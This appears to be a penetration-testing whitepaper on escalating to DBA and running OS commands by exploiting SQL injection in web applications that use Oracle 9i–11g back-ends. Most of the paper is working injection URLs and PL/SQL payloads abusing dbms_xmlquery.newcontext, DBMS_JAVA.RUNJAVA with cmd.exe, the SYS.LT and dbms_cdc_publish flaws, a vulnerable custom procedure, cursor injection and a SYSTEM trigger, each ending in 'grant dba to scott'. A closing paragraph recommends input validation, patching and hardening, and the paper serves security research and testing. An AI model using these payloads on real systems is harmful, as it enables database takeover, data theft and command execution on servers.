

## Hacking Oracle from the web: Part 2

**Abstract:** In the sequel of this paper I described various techniques for exploiting SQL Injection within a web application against an Oracle back-end. Remember, Oracle pose various challenges when exploiting SQL Injection over the web. One of the biggest handicaps is the limitation of the SQL language which does not allow execution of multiple statements. This paper examines new technique to execute multiple statements via SQL Injection. No special privileges are needed to use these techniques and they work for all versions of Oracle Database from Oracle 9i to 11g R2. The paper specifically outlines how to achieve privilege escalation and OS code execution when exploiting SQL Injection vulnerability in a web app which in-turns connect to an Oracle database.

### Introduction

Part 1 of this paper discussed attack vectors which could be used to execute OS code by exploiting SQL Injection. In particular, the two important conditions required to be able to execute code are:

1. DBA Privileges
2. JAVA IO Privileges

If the SQL Injection lets us execute SQL with either of the two privileges then we can execute OS code on the database server. For example, let's consider a SQL Injection in which the application connects to the database server with user SCOTT and SCOTT has JAVA IO permissions within the database. The function DBMS\_JAVA.RUNJAVA can be used to execute OS code

```
http://host/ora.php?name=Test' and (SELECT  
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper  
c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') from dual is not null --
```

Well, all is good when you have either DBA or JAVA IO permissions, but in real life I have not encountered too many SQL Injections against Oracle in which I had either of the two permissions. On the other hand, it's quite common to see an un patched/un hardened/badly configured Oracle database when you execute your SQL via SQL Injection from the web applications. Thus, the obvious question is although we may not have the JAVA IO or DBA permissions, can we not obtain these by exploiting the vulnerabilities within the Oracle database. The vulnerabilities could be one of the following:

- Missing Security Patches
- Vulnerability in Custom Written PL/SQL by a privileged user
- 0 Day in Oracle (vulnerability for which patch has not yet been released)
- Indirect privilege escalation due to weak security permissions

The remainder of the paper discusses how privilege escalation (typically a DBA role) can be achieved by exploiting these vulnerabilities from a web application, by SQL Injection.

## Functions which execute PL/SQL

There are at least two different functions that exist from Oracle 9i to 11g R2 which allow execution of any PL/SQL statement. These functions are executable by the PUBLIC role. Although the function has AUTHID CURRENT\_USER (implying, function executes with the invoker privileges), these can be used to exploit vulnerabilities within the back-end database to escalate privileges. These functions are:

- dbms\_xmlquery.newcontext()
- dbms\_xmlquery.getxml()

The examples below in the paper use newcontext() function. The getxml() function can be used in the same way.

The following scenarios can be exploited using these two functions to gain DBA privileges:

## Missing Security Patches

Let's look at some of the vulnerabilities which can be exploited due to missing security patches:

### *CPU April 2009: Oracle Database Server versions 9iR2, 10gR1, 10gR2 and 11gR1*

Consider a SQL Injection in an Oracle 10g database which is missing the CPU of April 2009. This CPU fixed a SQL Injection in SYS.LT package which was accessible to PUBLIC and allowed public role to grant DBA privileges by exploiting this package.

There are a number of ways to exploit this. If the database user has the CREATE PROCEDURE PRIVILEGE then we can create a malicious function within the user's schema and inject the function within the vulnerable object of SYS.LT package. The end result is that our malicious function gets executed with SYS permissions and we get DBA privileges.

### Create Function

```
http://host/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate "create or replace function pwn2 return varchar2 authid current_user is PRAGMA autonomous_transaction;BEGIN execute immediate ""grant dba to scott"";commit;return ""z"";END; "; commit; end;') from dual) is not null --
```

### Exploiting SYS.LT

```
http://host/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate " begin SYS.LT.CREATEWORKSPACE(''A10'' and scott.pwn2()='''x''');SYS.LT.REMOVEWORKSPACE(''A10'' and scott.pwn2()='''x''');end;"; commit; end;') from dual) is not null --
```

### *CPU of October 2010 (vulnerable versions 10gR1, 10gR2, 11g R1 and 11gR2)*

Let's look at CPU of October 2010 (vulnerable versions 10gR1, 10gR2, 11g R1 and 11gR2) and look at the vulnerability in package sys.dbms\_cdc\_publish.create\_change\_set which allows a user with EXECUTE\_CATALOG\_ROLE privilege to become DBA.

```
http://host/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate " begin sys.dbms_cdc_publish.create_change_set(''a'', ''a'', ''a'''''''' || SCOTT.pwn2() || ''''''a'', ''Y'', sysdate, sysdate);end;"; commit; end;') from dual) is not null --
```

#### **Vulnerability in custom code**

There can be vulnerable procedures created by other database users with higher privileges and if the database user with whose access we are executing SQL has execute access on one of these procedures, then we can exploit this and gain DBA privileges.

Let's consider the following procedure owned by SYS user and SCOTT has execute permissions on this:

```
CREATE OR REPLACE PROCEDURE VULNPROC(STR VARCHAR) IS  
  
  STMT VARCHAR(200);  
  
  BEGIN  
  
    STMT:='SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = '' || STR || ''';  
  
    EXECUTE IMMEDIATE STMT;  
  
  END;
```

```
Grant execute on vulnproc to scott;
```

We can exploit this by injecting a function into this procedure:

```
http://host/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate " begin sys.vulnproc(''a'''''''' || scott.pwn2() || ''''''a'');end;"; commit; end;') from dual) is not null --
```

#### **Getting past the CREATE Function Privilege**

Note, in the above examples we first created a function and then injected it into a vulnerable procedure. In this scenario, when our user doesn't have CREATE Function privilege, we can overcome this hurdle by using one of the following two techniques:

## Cursor Injection

In Oracle 10g, we can get past the problem of create function by using cursors:

```
http://host/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate "DECLARE D NUMBER;BEGIN D :=
DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(D,'"declare pragma autonomous_transaction; begin
execute immediate """"grant dba to
scott"""";commit;end;""',0);SYS.LT.CREATEWORKSPACE('"'a""' and
dbms_sql.execute('"' | D | |"' )=1--');SYS.LT.COMPRESSWORKSPACETREE('"'a""' and
dbms_sql.execute('"' | D | |"' )=1--"' );end;"; commit; end;') from dual) is not null --
```

## Injecting functions which ship with Oracle

There are a number of functions which come with Oracle and these let you execute any PL/SQL statement. Some include:

Function	Role needed for execution
dbms_xmlquery.getxml()	PUBLIC
dbms_xmlquery.newcontext()	PUBLIC
sys.kupp\$proc.create_mater_process()	DBA role

Note that while the function SYS.KUPP\$PROC.CREATE\_MASTER\_PROCESS() is only executable by the DBA role, this function will be called by a vulnerable procedure which executes with the DBA role and hence it serves our purpose.

```
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute
immediate " begin sys.vulnproc('"'a""' | sys.kupp$proc.create_master_process('"'EXECUTE
IMMEDIATE """"DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
IMMEDIATE """"GRANT DBA TO SCOTT""""; END;
"""";""' )=1--"' );end;"; commit; end;') from dual
```

## Weak/Insecure Permissions

It is common to see database permissions being overlooked, and often database users may have permissions which could indirectly allow privilege escalation attacks. Some of these permissions are:

- CREATE ANY VIEW
- CREATE ANY TRIGGER
- CREATE ANY PROCEDURE
- EXECUTE ANY PROCEDURE

The main reason why these privileges are dangerous is that they allow the grantee to create various objects (view, trigger, procedures etc) in the schema of other users, including the SYSTEM schema. These objects, when run, execute with the privilege of owner and hence allow for privilege escalation.

As an example, if the database user had CREATE ANY TRIGGER permission then he can use the web based SQL Injection to grant himself DBA role.

First, we can make our user create a trigger within the system schema. The trigger, when invoked will execute the DDL statement GRANT DBA TO SCOTT.

```
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate "create or replace trigger "SYSTEM".the_trigger before insert on system.OL$ for each row declare pragma autonomous_transaction; BEGIN execute immediate ""GRANT DBA TO SCOTT""; END the_trigger4;";end;') from dual
```

Notice that the trigger is invoked when an insert is made on the table SYSTEM.OL\$, which is a special table and PUBLIC has insert rights on this table.

Now, we can run an insert on this table and the end result is that the trigger SYSTEM.the\_trigger gets executed with SYSTEM privileges granting DBA role to SCOTT.

```
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate " insert into SYSTEM.OL$(OL_NAME) VALUES (""JOB Done!!!"") ";end;')from dual
```

## Conclusion

Thus, a SQL Injection in a web application is by no means any different from having interactive access to the database and an attacker can exploit the vulnerabilities within the database to escalate permissions. Once adequate permissions have been obtained then the attacker may be able to execute OS code on the back-end database host and attack other systems within the DMZ. It is thus important not just to ensure that applications validate the user's input, but also that the security of the back-end systems are kept up-to-date. The back-end database systems should be hardened to ensure that defence-in-depth mechanisms are in place and the exploitation, if any, can only cause minimal damage.

## Author

Sumit "Sid" Siddharth works as Head of Penetration testing for 7Safe Ltd in the UK.

## References

- <http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf>
- <https://www.blackhat.com/presentations/bh-europe-07/Cerrudo/Whitepaper/bh-eu-07-cerrudo-WP-up.pdf>
- Various chapters of Oracle Hacker's Handbook
- [http://7safe.com/assets/pdfs/Hacking\\_Oracle\\_From\\_Web\\_2.pdf](http://7safe.com/assets/pdfs/Hacking_Oracle_From_Web_2.pdf)
- <http://blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Litchfield>